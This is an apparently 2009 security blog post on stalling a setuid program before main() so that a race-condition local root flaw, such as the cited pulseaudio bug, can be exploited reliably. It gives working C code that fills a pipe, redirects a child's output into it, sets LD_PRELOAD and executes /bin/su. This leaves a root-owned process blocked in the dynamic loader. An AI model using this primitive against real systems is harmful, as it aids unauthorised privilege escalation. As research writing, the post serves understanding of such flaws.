jump to navigation

Blocking between execution and main() 2009/07/21

Posted by dividead in Security.
Tags: ,
2 comments

Recently http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html was brought to my attention, and I having a bit of spare time on my hands, I decided to investigate a casual remark Tinnes made about forcing a process to block after being executed but before reaching the main() function. In case of the pulseaudio flaw this is useful to exploit the race-condition reliably.

My first thought was that such a block should be easy if we could still have glibc rtld print data to stdout or stderr for diagnostic purposes, and have this print block. First there is the question wether rtld.c still allows us to do such things, and it seems that specifying something silly like the following works:

[dividead ~]$ LD_PRELOAD=foo ping
ERROR: ld.so: object 'foo' from LD_PRELOAD cannot be preloaded: ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination

Now that we found rtld.c generating output before main() is even called, we need to have this block in setuid programs. The easiest way I can think of doing this is by creating a pipe in a parent process, filling this pipe completely without reading it, forking a child which executes the setuid program we target while replacing fd 1 and 2 to the pipe write half.

/* -- dividead 2009 */
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

void fd_set_blocking(int fd)
{
        int flags;

        if ( (flags = fcntl(fd, F_GETFL)) == -1) {
                perror("fcntl()");
                exit(EXIT_FAILURE);
        }

        if (flags & O_NONBLOCK) {
                flags &= ~O_NONBLOCK;
                if (fcntl(fd, F_SETFL, flags) == -1) {
                        perror("fcntl()");
                        exit(EXIT_FAILURE);
                }
        }
}

void fd_set_nonblocking(int fd)
{
        int flags;

        if ( (flags = fcntl(fd, F_GETFL)) == -1) {
                perror("fcntl()");
                exit(EXIT_FAILURE);
        }

        if ( !(flags & O_NONBLOCK) ) {
                flags |= O_NONBLOCK;
                if (fcntl(fd, F_SETFL, flags) == -1) {
                        perror("fcntl()");
                        exit(EXIT_FAILURE);
                }
        }
}

ssize_t xwrite(int fd, const void *buf, size_t count)
{
        ssize_t ret;

        do {
                ret = write(fd, buf, count);
        } while (ret == -1 && errno == EINTR);

        if (ret == -1 && errno != EAGAIN) {
                perror("write()");
                exit(EXIT_FAILURE);
        }

        return ret;
}
int xdup2(int oldfd, int newfd)
{
        int ret;

        if ( (ret = dup2(oldfd, newfd)) == -1) {
                perror("dup2()");
                exit(EXIT_FAILURE);
        }

        return ret;
}

int xputenv(char *string)
{
        int ret;

        if ( (ret = putenv(string)) != 0) {
                perror("putenv()");
                exit(EXIT_FAILURE);
        }

        return ret;
}
int main()
{
        pid_t pid;
        ssize_t ret;
        int pipefd[2];
        char buf[4096];

        /* Create a pipe, we use this to read from the child we spawn. */
        if (pipe(pipefd) == -1) {
                perror("pipe()");
                exit(EXIT_FAILURE);
        }

        /* Set it non-blocking, so we can fill the pipe buffer */
        fd_set_nonblocking(pipefd[1]);

        /* Fill the pipe buffer.  As a small optimization, first use page
         * granularity, then fill out with single bytes until done.
         */
        do {
                ret = xwrite(pipefd[1], buf, 4096);
        } while ( !(ret == -1 && errno == EAGAIN) );

        do {
                ret = xwrite(pipefd[1], buf, 1);
        } while ( !(ret == -1 && errno == EAGAIN) );


        /* Now the pipe is full, causing the child to block when writing
         * to it.  We set it back to blocking again.
         */
        fd_set_blocking(pipefd[1]);
        switch(pid = fork()) {
        case -1:
                perror("fork()");
                exit(EXIT_FAILURE);
        case 0:
                close(pipefd[0]);
                xdup2(pipefd[1], 1);
                xdup2(pipefd[1], 2);
                xputenv("LD_PRELOAD=foo");
                execl("/bin/su", "su", 0);
        default:
                fgetc(stdin);
        }
}

Running this should result in a ‘su’ process owned by root that is blocking in _dl_debug_vdprintf(), giving us ample opportunity to do everything we want, and then start draining the pipe in the parent process. I have no idea wether this was the method found by Tinnes, but it is trivial enough when you think about it for half an hour.

Follow

Get every new post delivered to your Inbox.